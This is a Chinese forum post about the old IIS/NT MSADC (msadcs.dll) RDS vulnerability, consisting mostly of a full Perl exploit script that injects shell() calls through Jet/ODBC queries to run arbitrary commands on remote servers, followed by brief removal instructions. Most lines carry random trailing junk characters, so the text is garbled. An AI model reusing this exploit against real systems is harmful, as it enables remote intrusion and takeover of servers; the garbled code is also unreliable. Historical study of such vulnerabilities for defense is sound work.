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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) eyMn! a  
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涉及程序: 0~ho/_  
Microsoft NT server zzf@U&x<  
E#KZZ lbx  
描述: M~2Us{ `  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 oK\zyNK  
hU$o^ICH  
详细: |0i{z(B  
如果你没有时间读详细内容的话,就删除: [MpWvLP"x  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 7 XxZF43  
有关的安全问题就没有了。 E5^\]`9P  
>N|?>M*  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 D m0)%#  
EVqW(|Xg  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 h< r(:.%!}  
关于利用ODBC远程漏洞的描述,请参看: A'jvm@DvQI  
`"=>lu2H   
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I<D#   
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ;g!rc#z2g  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q-oDmjU  
'.bf88D  
这里不再论述。 TTVmm{6  
L(;$(k-/(  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: O{l4 f:51  
,->K)Rs;  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset So&gDR;b  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! /"Vd( K2Z  
XjN4EDi+E  
KmNnW1T  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 2GptK"MrD  
 V;%ug'j  
#!perl _;k<=ns(=  
# ,H{9`a#+:  
# MSADC/RDS 'usage' (aka exploit) script 'SFAJ  
# ,'s }g,L  
# by rain.forest.puppy ?62Im^1/  
# qLCNANWnd  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 9A"s7iJ)  
# beta test and find errors! `D77CC]vU  
o.ZR5`.  
use Socket; use Getopt::Std; v#Rh:#7O%U  
getopts("e:vd:h:XR", \%args); B%8@yS  
=%m{|HQ`  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; J#$U<`j*G  
^bv^&V&IB  
if (!defined $args{h} && !defined $args{R}) { q-`&C  
print qq~ SZKYq8ZA)V  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ~, }|~  
-h <host> = host you want to scan (ip or domain) lbAhP+B  
-d <seconds> = delay between calls, default 1 second Vc9rc}  
-X = dump Index Server path table, if available %V>%AP  
-v = verbose lI?P_2AaS  
-e = external dictionary file for step 5 k' st^1T  
x4* bhiu  
Or a -R will resume a command session +.!D>U$)}  
a$=~1@  
~; exit;} @s1T|}AJ  
6M >@DRZ'|  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; =^KgNQ   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} |6 Q5bV  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 8* A%k1+  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); v@=qVwX  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} /JS_gr@DK  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } S9Sgd&a9  
P P J^;s  
if (!defined $args{R}){ $ret = &has_msadc; p^8a<e?f~f  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} xxur4@p!  
 8oJl ]  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" [#Qf#T%5h  
. "cmd /c "; uN)c!='I  
$in=<STDIN>; chomp $in; o-rX4=T  
$command="cmd /c " . $in ; bG]0|  
1d< b\P0  
if (defined $args{R}) {&load; exit;} % 6 *c40  
I!L J&>  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ["D!IqI :  
&try_btcustmr; D&):2F^9.  
v.|#^A?Qx  
print "\nStep 2: Trying to make our own DSN..."; EnWv9I<  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; q\@Zf}  
G%I .u  
print "\nStep 3: Trying known DSNs..."; ]Kt@F0U<o  
&known_dsn; 86=W}eV1r  
blQ&QQL  
print "\nStep 4: Trying known .mdbs..."; X]=eC6M}:V  
&known_mdb; GTR*3,rw  
h[>pC"s?K  
if (defined $args{e}){ KA?}o^-F  
print "\nStep 5: Trying dictionary of DSN names..."; 86{>X5+  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } j,i9,oF6]  
vxZ'-&;t  
print "Sorry Charley...maybe next time?\n"; *:n7B\.  
exit; f]r*;YEc4  
94w)Yln  
############################################################################## Q$U5[ TZm  
(X "J)x aQ  
sub sendraw { # ripped and modded from whisker hP)Zm%@0f  
sleep($delay); # it's a DoS on the server! At least on mine... C][$0  
my ($pstr)=@_; fB+h( 2N~  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -~]H5er`  
die("Socket problems\n"); Mc,|C)  
if(connect(S,pack "SnA4x8",2,80,$target)){ O.+J%],  
select(S); $|=1; ZPH_s^  
print $pstr; my @in=<S>; v^JzbO~|gj  
select(STDOUT); close(S); Fl_}Auj{&(  
return @in; Onq^|r's&  
} else { die("Can't connect...\n"); }} RHFRN&RU$  
4H6Fq*W{k  
############################################################################## d3c.lD)L9  
Tow=B  
sub make_header { # make the HTTP request Rt?CE jy  
my $msadc=<<EOT Pg8.RvmQ  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 4;AF\De  
User-Agent: ACTIVEDATA $bG*f*w  
Host: $ip f 0H.$UAL  
Content-Length: $clen d}Pfj=W  
Connection: Keep-Alive ><}nZ7  
7Vy_Cec1  
ADCClientVersion:01.06 u1 Q;M`+>  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 +ALrHFG  
@/:4beh  
--!ADM!ROX!YOUR!WORLD! 4NID:<  
Content-Type: application/x-varg %4nf(|8n  
Content-Length: $reqlen &#e;`(*  
zu1"`K3b  
EOT '6M6e(  
; $msadc=~s/\n/\r\n/g; 486\a  
return $msadc;} X\m\yv}}  
/F;2wT;  
############################################################################## &ww-t..  
, Wd=!if  
sub make_req { # make the RDS request @MOQk  
my ($switch, $p1, $p2)=@_; *F1TZ_GS  
my $req=""; my $t1, $t2, $query, $dsn; \}Am]Y/ w  
OWibmX  
if ($switch==1){ # this is the btcustmr.mdb query 684& H8  
$query="Select * from Customers where City=" . make_shell(); _]zX W  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . tM]Gu?6  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 0;l~B  
h}a}HabA  
elsif ($switch==2){ # this is general make table query m FTuqujO  
$query="create table AZZ (B int, C varchar(10))"; iF+:j8 b  
$dsn="$p1";} ?xqS#^Z  
!+eU  
elsif ($switch==3){ # this is general exploit table query !K(  
$query="select * from AZZ where C=" . make_shell(); Da 7(jA+  
$dsn="$p1";} I$.lFQ%(  
GKFRZWXdT  
elsif ($switch==4){ # attempt to hork file info from index server 7K.75%}  
$query="select path from scope()"; w(V%EEk  
$dsn="Provider=MSIDXS;";} (B4)L%  
i?!9%U!z4  
elsif ($switch==5){ # bad query b,+Sa\j)(  
$query="select"; +%XByY5  
$dsn="$p1";} C4(xtSJSd!  
q\<l"b z  
$t1= make_unicode($query); %nkP" Z#  
$t2= make_unicode($dsn); ;D~#|CB  
$req = "\x02\x00\x03\x00"; NWn*_@7;  
$req.= "\x08\x00" . pack ("S1", length($t1)); QQW}.>N  
$req.= "\x00\x00" . $t1 ; :6(\:  
$req.= "\x08\x00" . pack ("S1", length($t2)); )G)6D"5,+G  
$req.= "\x00\x00" . $t2 ; /''=V.-N  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; f!kZyD7  
return $req;} )l`Ks  
+A?P4}  
############################################################################## Bug.>ln1  
G{[w+ObX  
sub make_shell { # this makes the shell() statement k( Sda>-  
return "'|shell(\"$command\")|'";} xmnBG4,f  
<<01@Q <  
############################################################################## Zy+ERaF|]  
dXxf{|gk>  
sub make_unicode { # quick little function to convert to unicode 5@5 *}[M  
my ($in)=@_; my $out; o6A$)m5V  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } !-`L1D_hy  
return $out;} %w^*7Oi  
A{s -g>s  
############################################################################## t[TM\j0jW  
zd5=W"Y;]  
sub rdo_success { # checks for RDO return success (this is kludge) +r!NR?^m  
my (@in) = @_; my $base=content_start(@in); B/l^=u+-  
if($in[$base]=~/multipart\/mixed/){ n,FyK`x  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} o:{Sws(=  
return 0;} dI\_I]  
_+48(Q F<  
############################################################################## ;J|t-$Z  
w=XIpWl  
sub make_dsn { # this makes a DSN for us !M8_PC*a  
my @drives=("c","d","e","f"); 4tm%F\Izy  
print "\nMaking DSN: "; eOb--@~8  
foreach $drive (@drives) { ?w(hPUd!2  
print "$drive: "; PR"x&JG@  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . }169]!R  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ;-`NT` #2  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); )tBz=hy#  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; nT> v  
return 0 if $2 eq "404"; # not found/doesn't exist t|'%0 W  
if($2 eq "200") { hk=[v7  
foreach $line (@results) { [KBa=3>{  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 8;pY-j #  
} return 0;} aUNA` L  
D4c'6WGb@  
############################################################################## ZY8.p  
a_!H_J  
sub verify_exists { B0yJ9U= Fj  
my ($page)=@_; JRC2+BU /  
my @results=sendraw("GET $page HTTP/1.0\n\n"); lt-3OcC  
return $results[0];} iA{q$>{8  
YT?Lt!cl=  
############################################################################## ]0T*#U/P  
<eEIR  
sub try_btcustmr { HlX~a:.7  
my @drives=("c","d","e","f"); P Ptmh. }e  
my @dirs=("winnt","winnt35","winnt351","win","windows"); :=*G7ZyW$  
Wi=zu[[qc  
foreach $dir (@dirs) { q`mxN!1[  
print "$dir -> "; # fun status so you can see progress 4v>SXch  
foreach $drive (@drives) { 564L.^$@|  
print "$drive: "; # ditto n@tt.n!{l  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ! $mY.uu  
$reqlenlen=length( "$reqlen" ); m19\H  
$clen= 206 + $reqlenlen + $reqlen; 3:Nc`tM_  
'AK '(cZ  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 6IRRRtO(  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} >"IG\//I  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} A-L1vu;  
yKUxjb^b\  
############################################################################## @+t|Aa^g  
:%9R&p:'ar  
sub odbc_error { 6p }a!  
my (@in)=@_; my $base; 'qEw]l  
my $base = content_start(@in); oU,8?( }'~  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 5uG^`H@X  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e46`"}r  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :vIJ>6lIR  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >'Lkn2WI  
return $in[$base+4].$in[$base+5].$in[$base+6];} VDOC>  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; #Pk{emYW  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ' *XIp:  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} d)U(XiK'  
(M|DNDM'd  
############################################################################## evZP*N~G  
XM5)|D  
sub verbose { VF11eZ"  
my ($in)=@_; ~D5FnN9  
return if !$verbose; +d LUq2  
print STDOUT "\n$in\n";} %S"z9@  
ZzBaYoNy[0  
############################################################################## E> pr})^w  
msCz\8Xd  
sub save { vh&~Y].W Y  
my ($p1, $p2, $p3, $p4)=@_; .9Oj+:n  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ~M* UMF^  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; a0]GQyIG  
close OUT;} 03)irq%l;  
N:Q.6_%^  
############################################################################## GQ?FUFuIoW  
:RIqA/  
sub load { QqF*SaO>  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ep;?%o,G  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); m;"[b (u  
@p=<IN>; close(IN); %4rlB$x  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); < ~CY?  
$target= inet_aton($ip) || die("inet_aton problems"); w(_:+-rqQ<  
print "Resuming to $ip ..."; s \3]0n9  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 20 $Tky_  
if($p[1]==1) { +W1l9n*  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; _}j>  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; a'-xCV|^  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); cahlYv'  
if (rdo_success(@results)){print "Success!\n";} MY\mo,#  
else { print "failed\n"; verbose(odbc_error(@results));}} D->E&#  
elsif ($p[1]==3){ fh_:ung  
if(run_query("$p[3]")){ H/[(T%]o  
print "Success!\n";} else { print "failed\n"; }} 1Zk1!> ?  
elsif ($p[1]==4){ 1$# r)S[*  
if(run_query($drvst . "$p[3]")){ <oP`\m   
print "Success!\n"; } else { print "failed\n"; }} PDc4ok`)  
exit;} $=>:pQbBVX  
B^/Cx  
############################################################################## 0Z((cI\J  
. P 44t  
sub create_table { uU$/4{  
my ($in)=@_; ZA_~o#0%  
$reqlen=length( make_req(2,$in,"") ) - 28; p+Bvfn  
$reqlenlen=length( "$reqlen" ); tIBEja^l  
$clen= 206 + $reqlenlen + $reqlen; {hO|{vz  
my @results=sendraw(make_header() . make_req(2,$in,"")); Y8s-cc(  
return 1 if rdo_success(@results); @:'E9J06  
my $temp= odbc_error(@results); verbose($temp); 26_PFHQu4  
return 1 if $temp=~/Table 'AZZ' already exists/; ;$!0pxL)s  
return 0;} PMQ31f/zf  
c}=[r1M*  
############################################################################## &,XPMT  
|M<R{Tt}nf  
sub known_dsn { `+KLE(]vyH  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Z'^.H3YvL  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 9p02K@wkD  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", A1zV5-E/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); o'P[uB/  
*"/BD=INv}  
foreach $dSn (@dsns) { 9<!??'@f  
print "."; m`XaY J  
next if (!is_access("DSN=$dSn")); rA_r$X  
if(create_table("DSN=$dSn")){ ;rCCkA6  
print "$dSn successful\n"; aQ 6T2bQ  
if(run_query("DSN=$dSn")){ N9Fu  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { OH+2)X  
print "Something's borked. Use verbose next time\n";}}} print "\n";} y(K:,CI  
5oD%~Fk l  
############################################################################## [nsTO5G$u  
eLN(NSPoS  
sub is_access { Tkf4`Gxd  
my ($in)=@_; OHF:E44k  
$reqlen=length( make_req(5,$in,"") ) - 28; Me,AE^pgL'  
$reqlenlen=length( "$reqlen" ); b{e|~v6&  
$clen= 206 + $reqlenlen + $reqlen; \HJt}  
my @results=sendraw(make_header() . make_req(5,$in,"")); {}PBYX R  
my $temp= odbc_error(@results); <8Q?kj  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); '&xRb*  
return 0;} 3o__tU)B  
1\,wV,  
############################################################################## ;{>-K8=>$  
Y2p~chx9  
sub run_query { }5;3c%  
my ($in)=@_; }xzbg  
$reqlen=length( make_req(3,$in,"") ) - 28; Vuo 8[h>  
$reqlenlen=length( "$reqlen" ); }JWk?  
$clen= 206 + $reqlenlen + $reqlen; N(&/ Ud  
my @results=sendraw(make_header() . make_req(3,$in,"")); flfE~_  
return 1 if rdo_success(@results); Riz!HtyR  
my $temp= odbc_error(@results); verbose($temp); h5#V,$  
return 0;} |a Ht6F  
x~O_v  
############################################################################## +4p gPv  
Os7 3u#!'  
sub known_mdb { HV6'0_R0  
my @drives=("c","d","e","f","g"); thSo,uGlW  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =}AwA5G  
my $dir, $drive, $mdb; # OQ(oyT  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; }h)[>I(  
7^:0?Q  
# this is sparse, because I don't know of many PizPsJ|&  
my @sysmdbs=( "\\catroot\\icatalog.mdb", #(NkbJ5ka  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", r5?qz<WW~  
"\\system32\\certmdb.mdb",  %sLij*  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% $r=Ud >  
_7zER6#}  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", O8:,XTAN  
"\\cfusion\\cfapps\\forums\\forums_.mdb", LA^H213N|  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", xcYYo'U  
"\\cfusion\\cfapps\\security\\realm_.mdb", ^m:?6y_uw  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ~m56t5+uw  
"\\cfusion\\database\\cfexamples.mdb", aTy&"  
"\\cfusion\\database\\cfsnippets.mdb", f&ym'S  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", !>+Na~eN  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", V+l>wMeo  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Et+N4w  
"\\cfusion\\database\\smpolicy.mdb", .ZrQ{~t  
"\\cfusion\\database\cypress.mdb", ^dR5fAS  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", &H{KXX"X  
"\\website\\cgi-win\\dbsample.mdb", Q4MTedj1H  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", b1;80P/:D  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ^4yFLqrC  
); #these are just xe6 2gaT  
foreach $drive (@drives) { n300kpv  
foreach $dir (@dirs){ nNFZ77lg  
foreach $mdb (@sysmdbs) { tXTa>Q  
print "."; )LwB  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Ot]PH[+  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";  :RW0<  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ HJ*W3Mg  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; a[GlqaQy+-  
} else { print "Something's borked. Use verbose next time\n"; }}}}} h&vq}  
|f~p3KCfV  
foreach $drive (@drives) { 'I_\ELb_  
foreach $mdb (@mdbs) { {^bs }($J  
print "."; h^5'i} @u  
if(create_table($drv . $drive . $dir . $mdb)){ Ui46 p  
print "\n" . $drive . $dir . $mdb . " successful\n"; "rr,P0lgX  
if(run_query($drv . $drive . $dir . $mdb)){ |!)3[<.  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; (v^L2Po  
} else { print "Something's borked. Use verbose next time\n"; }}}} BS#@ehdig  
} f,Sybf/uHh  
U:E:"  
############################################################################## @&]j[if (s  
j%KLp4J/e  
sub hork_idx { dHnId2@#  
print "\nAttempting to dump Index Server tables...\n"; @W^A%6"j  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Ng,#d`Br  
$reqlen=length( make_req(4,"","") ) - 28; (y AQm pp  
$reqlenlen=length( "$reqlen" ); 9\i,3:Qc  
$clen= 206 + $reqlenlen + $reqlen; 2Fce| Tn  
my @results=sendraw2(make_header() . make_req(4,"","")); @M"h_Z1#  
if (rdo_success(@results)){ c|Nv^V*2  
my $max=@results; my $c; my %d; ;#!`c gAh  
for($c=19; $c<$max; $c++){ +aV>$Y  
$results[$c]=~s/\x00//g; 3e:"tus~  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ;{ Y|n_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; gR(*lXm5w  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Vcl"qz@Fj  
$d{"$1$2"}="";} _'dsEF  
foreach $c (keys %d){ print "$c\n"; } A[ZJS   
} else {print "Index server doesn't seem to be installed.\n"; }} t[F tIj6  
2 ,;+)  
############################################################################## (ZjIwA9>  
MlsF?"H p  
sub dsn_dict { co<){5zOT  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); PT|^RF%fT  
while(<IN>){ /%rbXrR4w  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; i3*?fMxhu)  
next if (!is_access("DSN=$dSn")); Yq#I# 2RD  
if(create_table("DSN=$dSn")){ 9ToM5oQ  
print "$dSn successful\n"; 1U~AupHE  
if(run_query("DSN=$dSn")){ 7J,W#Ql)5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <{YP=WYW  
print "Something's borked. Use verbose next time\n";}}} _W]2~9  
print "\n"; close(IN);} .?_wcp=  
N*lq)@smq  
############################################################################## [={pF q`  
(OYR, [*  
sub sendraw2 { # ripped and modded from whisker 6k42>e*p  
sleep($delay); # it's a DoS on the server! At least on mine... Q{H88g^=J  
my ($pstr)=@_; \h :Rw|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || LlRvm/  
die("Socket problems\n"); jY:(Tv3~  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?qw&H /R  
print "Connected. Getting data"; u|WX?@\  
open(OUT,">raw.out"); my @in; Nt&}T  
select(S); $|=1; print $pstr; R/b)hP ~  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} I4  Tc&b  
close(OUT); select(STDOUT); close(S); return @in; |>A1J:  
} else { die("Can't connect...\n"); }} hof$0Fg  
&.=d,XKN  
############################################################################## U-3KuR+0  
&EXql']  
sub content_start { # this will take in the server headers '7wI 2D  
my (@in)=@_; my $c; L,waQk / @  
for ($c=1;$c<500;$c++) { ^gH.5L0]gH  
if($in[$c] =~/^\x0d\x0a/){ phl5E:fIKx  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } vp4!p~C{  
else { return $c+1; }}} 5D-xm$8C  
return -1;} # it should never get here actually K,|Gtaa~  
s3_i5,y  
############################################################################## +tdt>)a  
w^p 'D{{  
sub funky { 0d`s(b54;O  
my (@in)=@_; my $error=odbc_error(@in); RE oFP;H~  
if($error=~/ADO could not find the specified provider/){ 27t:-O  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; z.]t_`KuF9  
exit;} HG=!#-$9  
if($error=~/A Handler is required/){ VV?+q)  
print "\nServer has custom handler filters (they most likely are patched)\n"; ]![ewO@  
exit;} @a>+r1  
if($error=~/specified Handler has denied Access/){ ECg/ge2  
print "\nServer has custom handler filters (they most likely are patched)\n"; N~\1yQT  
exit;}} A<9ZX=DAjw  
yXppu[=  
############################################################################## 5U3="L  
}j+ZF'#  
sub has_msadc { }4#%0x`w  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); @,i:fY  
my $base=content_start(@results); mAk)9`f/  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); e DX{}Dq(  
return 0;} TN.mNl%  
"CT'^d+  
######################## Q;)[~p  
2e/ JFhA  
Jq<&`6hn  
解决方案: Dx4?6  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll flR6^6E  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 .Quu_S_ vH  
;8'hvc3i$  
拿出来充数 哈哈
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